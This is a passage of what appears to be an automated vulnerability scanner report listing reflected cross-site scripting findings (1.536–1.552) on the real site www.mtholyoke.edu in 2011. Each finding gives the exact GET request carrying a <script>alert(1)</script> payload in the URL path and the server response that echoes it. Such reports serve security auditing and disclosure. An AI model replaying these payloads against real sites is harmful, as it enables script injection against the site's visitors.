Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:43:09 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:43:09 GMT
Content-Length: 6575
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news219f9<script>alert(1)</script>36961e58a41/image_assets/0001/8224/sanborn75_thumb.jpg</code>
...[SNIP]...

1.536. http://www.mtholyoke.edu/news/image_assets/0001/8252/religion_thumb_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8252/religion_thumb_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ea72b<script>alert(1)</script>eb576dd6a6b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /newsea72b<script>alert(1)</script>eb576dd6a6b/image_assets/0001/8252/religion_thumb_thumb.jpg?1315317725 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:59 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:59 GMT
Content-Length: 6580
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/newsea72b<script>alert(1)</script>eb576dd6a6b/image_assets/0001/8252/religion_thumb_thumb.jpg</code>
...[SNIP]...

1.537. http://www.mtholyoke.edu/news/image_assets/0001/8276/Karen_Remmler-thumb_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8276/Karen_Remmler-thumb_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7206a<script>alert(1)</script>7bc0d20fd0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news7206a<script>alert(1)</script>7bc0d20fd0/image_assets/0001/8276/Karen_Remmler-thumb_thumb.jpg?1315344727 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:58 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:59 GMT
Content-Length: 6584
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news7206a<script>alert(1)</script>7bc0d20fd0/image_assets/0001/8276/Karen_Remmler-thumb_thumb.jpg</code>
...[SNIP]...

1.538. http://www.mtholyoke.edu/news/image_assets/0001/8292/convo_thumb_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8292/convo_thumb_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6fcdf<script>alert(1)</script>f3087bb49a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news6fcdf<script>alert(1)</script>f3087bb49a/image_assets/0001/8292/convo_thumb_thumb.jpg?1315407894 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:58 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:59 GMT
Content-Length: 6576
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news6fcdf<script>alert(1)</script>f3087bb49a/image_assets/0001/8292/convo_thumb_thumb.jpg</code>
...[SNIP]...

1.539. http://www.mtholyoke.edu/news/image_assets/0001/8300/banana-TH_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8300/banana-TH_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 225d6<script>alert(1)</script>047998f0b2b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news225d6<script>alert(1)</script>047998f0b2b/image_assets/0001/8300/banana-TH_thumb.jpg?1315420562 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:43:00 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:43:00 GMT
Content-Length: 6575
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news225d6<script>alert(1)</script>047998f0b2b/image_assets/0001/8300/banana-TH_thumb.jpg</code>
...[SNIP]...

1.540. http://www.mtholyoke.edu/news/image_assets/0001/8312/allgor_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8312/allgor_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f3139<script>alert(1)</script>a5567f04b93 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /newsf3139<script>alert(1)</script>a5567f04b93/image_assets/0001/8312/allgor_thumb.jpg?1315589404 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:57 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:57 GMT
Content-Length: 6572
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/newsf3139<script>alert(1)</script>a5567f04b93/image_assets/0001/8312/allgor_thumb.jpg</code>
...[SNIP]...

1.541. http://www.mtholyoke.edu/news/image_assets/0001/8316/Humera-Afridi_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8316/Humera-Afridi_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f1505<script>alert(1)</script>cfbf0ff83aa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /newsf1505<script>alert(1)</script>cfbf0ff83aa/image_assets/0001/8316/Humera-Afridi_thumb.jpg?1315604280 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:59 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:59 GMT
Content-Length: 6579
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/newsf1505<script>alert(1)</script>cfbf0ff83aa/image_assets/0001/8316/Humera-Afridi_thumb.jpg</code>
...[SNIP]...

1.542. http://www.mtholyoke.edu/news/image_assets/0001/8320/sutphen_thumb_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8320/sutphen_thumb_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 1afa4<script>alert(1)</script>019a311c6a6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news1afa4<script>alert(1)</script>019a311c6a6/image_assets/0001/8320/sutphen_thumb_thumb.jpg?1315834583 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:58 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:58 GMT
Content-Length: 6579
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news1afa4<script>alert(1)</script>019a311c6a6/image_assets/0001/8320/sutphen_thumb_thumb.jpg</code>
...[SNIP]...

1.543. http://www.mtholyoke.edu/news/image_assets/0001/8328/roksa_thumb_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8328/roksa_thumb_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f51ae<script>alert(1)</script>5c5cf5421 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /newsf51ae<script>alert(1)</script>5c5cf5421/image_assets/0001/8328/roksa_thumb_thumb.jpg?1315840192 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:43:01 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:43:02 GMT
Content-Length: 6575
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/newsf51ae<script>alert(1)</script>5c5cf5421/image_assets/0001/8328/roksa_thumb_thumb.jpg</code>
...[SNIP]...

1.544. http://www.mtholyoke.edu/news/image_assets/0001/8336/hewitt_thumb_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8336/hewitt_thumb_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 1c944<script>alert(1)</script>019930f4842 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news1c944<script>alert(1)</script>019930f4842/image_assets/0001/8336/hewitt_thumb_thumb.jpg?1315847809 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:57 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:57 GMT
Content-Length: 6578
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news1c944<script>alert(1)</script>019930f4842/image_assets/0001/8336/hewitt_thumb_thumb.jpg</code>
...[SNIP]...

1.545. http://www.mtholyoke.edu/news/image_assets/0001/8344/kelley_thumb_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8344/kelley_thumb_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 1e7f1<script>alert(1)</script>88a8cb3e036 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news1e7f1<script>alert(1)</script>88a8cb3e036/image_assets/0001/8344/kelley_thumb_thumb.jpg?1315861657 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:43:00 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:43:01 GMT
Content-Length: 6578
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news1e7f1<script>alert(1)</script>88a8cb3e036/image_assets/0001/8344/kelley_thumb_thumb.jpg</code>
...[SNIP]...

1.546. http://www.mtholyoke.edu/news/image_assets/0001/8352/flag_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8352/flag_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 98380<script>alert(1)</script>8f3bfccf7c2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news98380<script>alert(1)</script>8f3bfccf7c2/image_assets/0001/8352/flag_thumb.jpg?1315923635 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:58 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:58 GMT
Content-Length: 6570
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news98380<script>alert(1)</script>8f3bfccf7c2/image_assets/0001/8352/flag_thumb.jpg</code>
...[SNIP]...

1.547. http://www.mtholyoke.edu/news/image_assets/0001/8356/remmler_thumb_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8356/remmler_thumb_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 61e4c<script>alert(1)</script>956efcad831 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news61e4c<script>alert(1)</script>956efcad831/image_assets/0001/8356/remmler_thumb_thumb.jpg?1315923917 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:56 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:56 GMT
Content-Length: 6579
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news61e4c<script>alert(1)</script>956efcad831/image_assets/0001/8356/remmler_thumb_thumb.jpg</code>
...[SNIP]...

1.548. http://www.mtholyoke.edu/news/image_assets/0001/8364/ramdas_thumb_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8364/ramdas_thumb_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 3712d<script>alert(1)</script>60fb43f63d7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news3712d<script>alert(1)</script>60fb43f63d7/image_assets/0001/8364/ramdas_thumb_thumb.jpg?1315938892 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:55 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:55 GMT
Content-Length: 6578
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news3712d<script>alert(1)</script>60fb43f63d7/image_assets/0001/8364/ramdas_thumb_thumb.jpg</code>
...[SNIP]...

1.549. http://www.mtholyoke.edu/news/image_assets/0001/8372/sohail_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8372/sohail_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e8ebd<script>alert(1)</script>01b2a17e6f1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /newse8ebd<script>alert(1)</script>01b2a17e6f1/image_assets/0001/8372/sohail_thumb.jpg?1315941130 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:55 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:55 GMT
Content-Length: 6572
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/newse8ebd<script>alert(1)</script>01b2a17e6f1/image_assets/0001/8372/sohail_thumb.jpg</code>
...[SNIP]...

1.550. http://www.mtholyoke.edu/news/image_assets/0001/8376/crosbie_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8376/crosbie_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload dd6ee<script>alert(1)</script>1f9004c407e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /newsdd6ee<script>alert(1)</script>1f9004c407e/image_assets/0001/8376/crosbie_thumb.jpg?1316011524 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:55 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:55 GMT
Content-Length: 6573
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/newsdd6ee<script>alert(1)</script>1f9004c407e/image_assets/0001/8376/crosbie_thumb.jpg</code>
...[SNIP]...

1.551. http://www.mtholyoke.edu/news/image_assets/0001/8384/nsf75_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8384/nsf75_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 4b854<script>alert(1)</script>b1335b0f9cf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news4b854<script>alert(1)</script>b1335b0f9cf/image_assets/0001/8384/nsf75_thumb.jpg?1316025353 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:54 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:54 GMT
Content-Length: 6571
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news4b854<script>alert(1)</script>b1335b0f9cf/image_assets/0001/8384/nsf75_thumb.jpg</code>
...[SNIP]...

1.552. http://www.mtholyoke.edu/news/image_assets/0001/8392/stomberg_thumb_thumb.jpg [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/image_assets/0001/8392/stomberg_thumb_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 4a232<script>alert(1)</script>1e4dd8b2b2c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

